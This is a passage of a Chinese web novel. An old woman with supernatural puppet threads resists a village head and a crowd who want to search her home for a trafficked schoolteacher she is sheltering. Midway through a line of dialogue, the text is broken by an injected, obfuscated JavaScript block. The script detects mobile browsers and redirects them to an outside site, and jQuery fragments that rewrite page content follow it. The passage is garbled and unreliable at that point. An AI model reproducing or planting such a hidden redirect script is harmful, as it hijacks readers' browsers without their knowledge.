我跪在蒲团上，经文在唇齿间无声流淌。堂屋里的黑暗浓得化不开，像陈年的墨，沉沉地压下来。


    院墙外，脚步声又响起了。


    这次更轻，更分散，像一群夜行的兽，在黑暗中悄无声息地散开。他们应该是在包围这座院子。


    我的手指轻轻搭在膝上，傀线无声地从指尖蔓延出去，穿过铁门的缝隙，穿过墙根的鼠洞，像蛛网一样在院子里铺开。每根线都是我的触须，能感知到最细微的震动，最微弱的气息。


    原本只有三个人，却多了一道气息。院门外站着三个，院墙外东北角的阴影里还蹲着一个。那是个小孩，呼吸很重，心跳很快，他在害怕。


    堂屋的黑暗里，我慢慢睁开眼睛。站起身时，膝盖有些发麻。年纪大了，跪久了就会这样。走到窗边，再次掀开窗帘的一角。


    月光比刚才亮了些，云层散开一道缝隙，惨白的光漏下来，照在院子里。那四个人还在原来的位置，没动。他们在等什么？


    突然，东北角那个小孩站了起来。他个子很矮，也很瘦，背着一个布包。他朝院门方向挥了挥手，然后从布包里掏出了什么东西。


    是鞭炮。


    长长的，红纸裹着，像一条僵死的蛇。


    我的心沉了下去。他们这是想借巨大的动静，引我出去，顺便再闹醒村子里的其他人，出来看热闹。


    小孩点燃了引信。嗤嗤的声音在寂静的夜里格外清晰，火星在黑暗中划出一道细小的弧线。


    然后，炸响了。


    噼里啪啦，噼里啪啦。声音震耳欲聋，红色的纸屑在火光中四溅，硝烟的味道瞬间弥漫开来。院子里那棵老槐树被惊动了，一群栖息的乌鸦扑棱棱飞起，在夜空中盘旋，发出嘶哑的叫声。


    几乎在同时，村子里其他的灯，一盏接一盏亮了起来。


    先是近处的，然后是远处的。窗户后面出现人影，门缝里透出灯光。有人推开窗子探头看，有人干脆披着衣服走出来，站在自家院门口，朝这边张望。


    鞭炮还在响，一声接一声，像巴掌，一下下扇在我脸上。


    我放下窗帘，转身。


    楼梯上传来急促的脚步声。许媛冲了下来，脸色惨白，手里紧紧攥着那个已经点睛的纸人。


    “白婆婆，他们……”


    “我知道。”我打断她，声音出乎意料的平静，“回楼上去。记住我跟你说的话，现在立刻进暗室，留纸人在床上，离开后一刻都不要停。”


    “可是您……”


    “上去。”我的语气不容置疑，“然后，纸人会替你承受这一切。”


    许媛咬着嘴唇，看了我一眼，那眼神复杂得让我心头一紧。然后她转身，快步上了楼。


    脚步声消失在二楼。


    堂屋里又只剩下我一个人，和窗外越来越响的鞭炮声，还有那越来越浓的硝烟味。


    我走到门前，手放在门闩上。


    冰凉，粗糙，铁制纹理摩挲着掌心。这门我开了关，关了开，几十年了。娘在世的时候常说，门是家的脸面，要体面，要干净。


    可现在，门外是一群要撕破这张脸的人。透过白濯心的记忆，两派纷争早已搁置了很长的时间，村子里都是正常生活的人，如今却又开始了暗潮涌动。


    我深吸一口气，拉开了门闩。


    吱呀——


    老旧的铁门发出刺耳的呻吟，缓缓向内打开。外面的天光涌进来，不是月光，是村里人举着的煤油灯、手电筒的光，杂乱，晃眼，像无数只窥探的眼睛。


    我迈过门槛，站在檐廊下。


    院子外站满了人。不是四个，是十几个，二十几个。男人，老人，甚至还有半大的孩子，被大人抱在怀里，睁着懵懂的眼睛看热闹。


    张广茂站在最前面，背着手，脸色在晃动的灯光下明暗不定。他身边站着刚才放鞭炮的年轻人，还有两个壮汉，一左一右，像两尊门神。


    鞭炮已经放完了，地上铺了一层红纸屑，空气里弥漫着刺鼻的硝烟味。


    “白婆婆。”张广茂开口了，声音不高，但每个字都咬得很清楚，确保在场每个人都能听见，“这么晚打扰，实在对不住。”


    我没说话，只是看着他。


    “但没办法。”他叹了口气，做出为难的样子，“有小孩半夜顽劣，无意朝你家扔了鞭炮，想看看你是否安全。”


    “你应该意不在此吧。”我讽刺道。


    “还有个事，得找你帮忙。村里丢了个女人，是张勤奋家的。你也知道，张勤奋媳妇跑了，他急得病倒了。我们这些当村干部的，不能不管。”


    人群里响起附和声。


    “是啊，得找。”


    “一个大活人，还能飞了不成？”


    “白婆婆，您要是有线索，可得说出来。”


    声音七嘴八舌，汇成一股嗡嗡的潮水，朝我涌来。


    我的目光扫过人群。说话的大多是张天永那边的人，那些脸，有些我认识，有些我不熟。但此刻，他们的表情出奇的一致：好奇，兴奋，还有一丝难以掩饰的恶意。看热闹不嫌事大，尤其是在这种沉闷的村子里，任何一点风波都是调剂。


    “张村长。”我终于开口，声音不大，但在渐渐安静下来的人群中，足够清晰，“所以，你带着这么多人，半夜在我家门口究竟是什么意思？”


    “找人。”张广茂说得干脆，“那女人最后有人看见，是往你这个方向来的。我们找遍了全村，就你这儿还没搜过。”


    “搜？”我重复这个字，语气里带上了讥讽，“张村长，我白濯心在这村里住了几十年。什么时候，我家的门，是谁想搜就能搜的了？”


    人群安静了一瞬。


    张广茂的脸色沉了沉，但很快又堆起笑容：“白婆婆，你别误会。这不是特殊情况嘛。那女人是张勤奋好不容易娶的媳妇，现在人不见了，勤奋又给急病了，万一有个三长两短，咱们谁都担不起这个责任。你就行个方便，让我们进去看一眼，也好让大家安心。”


    话说得漂亮，滴水不漏。


    我看着他，看着他那张看似诚恳的脸，心里一片冰凉。这个人，我太了解了。无论是从我的视角，还是从白濯心的记忆，对他，都是十分不喜欢。他能当上村长，靠的不是德行，是圆滑的手腕。软的硬的，明的暗的，他都能来。今天这场面，是他精心策划的。先用鞭炮惊动全村，把事闹大，逼我当着众人的面让步。如果我坚持不让搜，那就是心里有鬼。可如果让搜，他就达到了目的。


    进退两难。


    夜风吹过院子，带着硝烟味，也带着深秋的寒意。我穿着单衣，站在檐廊下，觉得骨头缝里都在往外冒冷气。


    “村长。”我缓缓开口，每个字都说得很慢，“你说那女人是张勤奋的媳妇，那我问你，张勤奋娶媳妇，办酒了吗？领证了吗？请村里人喝喜酒了吗？”


    张广茂愣了一下。


    人群里也响起窃窃私语。


    “好像……没办酒吧？”


    “张勤奋能娶上大学生媳妇就不错了，还办酒？”


    “大学生？他能娶到？”


    “就是村小学那位来支教的许老师……”


    “欸，许老师什么时候成他媳妇了？”


    “有一段时间了。”


    张广茂的脸色有些挂不住了：“白婆婆，这是人家的家事，咱们管不着。现在人是丢了，咱们得找。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076136|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “家事？”我往前走了两步，煤油灯的光照在我脸上，我能感觉到那些目光，像针一样扎过来。


    “张勤奋这脑子，从小就缺根筋，说话直来直去，容易得罪人，小时候就靠他娘捡破烂养活。他家那屋子，下雨漏雨，刮风漏风，村里谁不知道？”我的声音提高了一些，确保每个人都能听见，“这样一个男人，突然就有了媳妇，还是我们村小学的老师。村长，你不觉得这事情蹊跷吗？”


    人群安静下来。


    有些人的表情变了，从看热闹的兴奋，变成了疑惑，甚至是一丝不安。有些事，大家心知肚明，但没人会捅破那层窗户纸。捅破了，就难看了。


    张广茂的嘴角抽动了一下：“白婆婆，您这话是什么意思？张勤奋再不好，也是个男人，娶媳妇怎么了？那女的是自愿跟他过的，我们都能作证。”


    “自愿？”我笑了，那笑声在寂静的夜里格外刺耳，“你摸着良心说，自愿？”


    他不说话了。


    我们就这样对峙着，在晃动的灯光里，在无数双眼睛的注视下。


    就在这时，一个声音从人群后面传来。


    “都让让，让让。”


    人群分开一条道。一个老妇人颤巍巍地走过来，是张勤奋他娘。她这年还没死，穿着打补丁的棉袄，头发花白凌乱，眼睛红肿，脸上还挂着泪痕。一看见我，扑通一声就跪下了。


    “白婆婆，白仙姑，我求求您了。”她跪在地上，砰砰地磕头，额头磕在泥地上，发出闷响，“把我家媳妇还给我吧，求求您了。勤奋不能没媳妇啊，我们家就这一根独苗，还指望她传宗接代呢……求求您了，行行好……”


    哭声凄厉，在夜风中飘散。


    人群骚动起来。有人叹气，有人摇头，有人看向我的眼神里，竟多了责备。


    “看把老婆子急的……”


    “唉，也是可怜。”


    “白婆婆，您要是真知道，就说出来吧。”


    张广茂趁机上前，扶起老妇人，一边拍着她身上的土，一边对我说：“白婆婆，你也看到了。老人家不容易，给你下跪磕头，你就忍心？”


    好一招以情逼人。


    我看着跪在地上的老妇人，看着她那满脸的泪，那卑微的姿态，心里没有怜悯，只有寒意。这个女人，我认识她三十年了。她年轻时候也是被拐卖进村，想逃也逃不出去。后来不知是不是她运气好，丈夫早死，一个人把儿子拉扯大，我偶尔会让些人送点吃食帮衬点他们。


    可也就是这个女人，如今却跪在这里，用同样的眼泪，同样的哀求，想把同样命运的女人重新拐回家。


    我开口，声音平静得自己都意外：“你先起来。”


    她不肯起，只是哭，一声比一声凄惨。


    “你儿子那媳妇在楼上。”我继续说，“说是来求子的，我收了钱，答应帮她做法事。”


    哭声戛然而止。


    老妇人抬起头，浑浊的眼睛里闪过一丝疑惑：“真……真的？”


    张广茂听了笑了，笑容更深了些：“原来是来求子的？好事啊。咱们村子人丁不旺，是该多些孩子。不过……”


    他顿了顿，“既然是来求子的，怎么不跟家里说一声？”


    “姑娘家脸皮薄。”我面不改色，“而且做法事有规矩，法事期间，不能见生人，尤其是男人。破了规矩，就不灵了。”


    我转身，走回檐廊下，在门槛上坐下，“可我还没做完，就被你们扰了清净。如今法事不全，她就求子无望，这责任，该由谁来担？”


    人群安静下来。


    所有人都看着我，包括张广茂。他眯起眼睛，眼神里满是警惕和怀疑。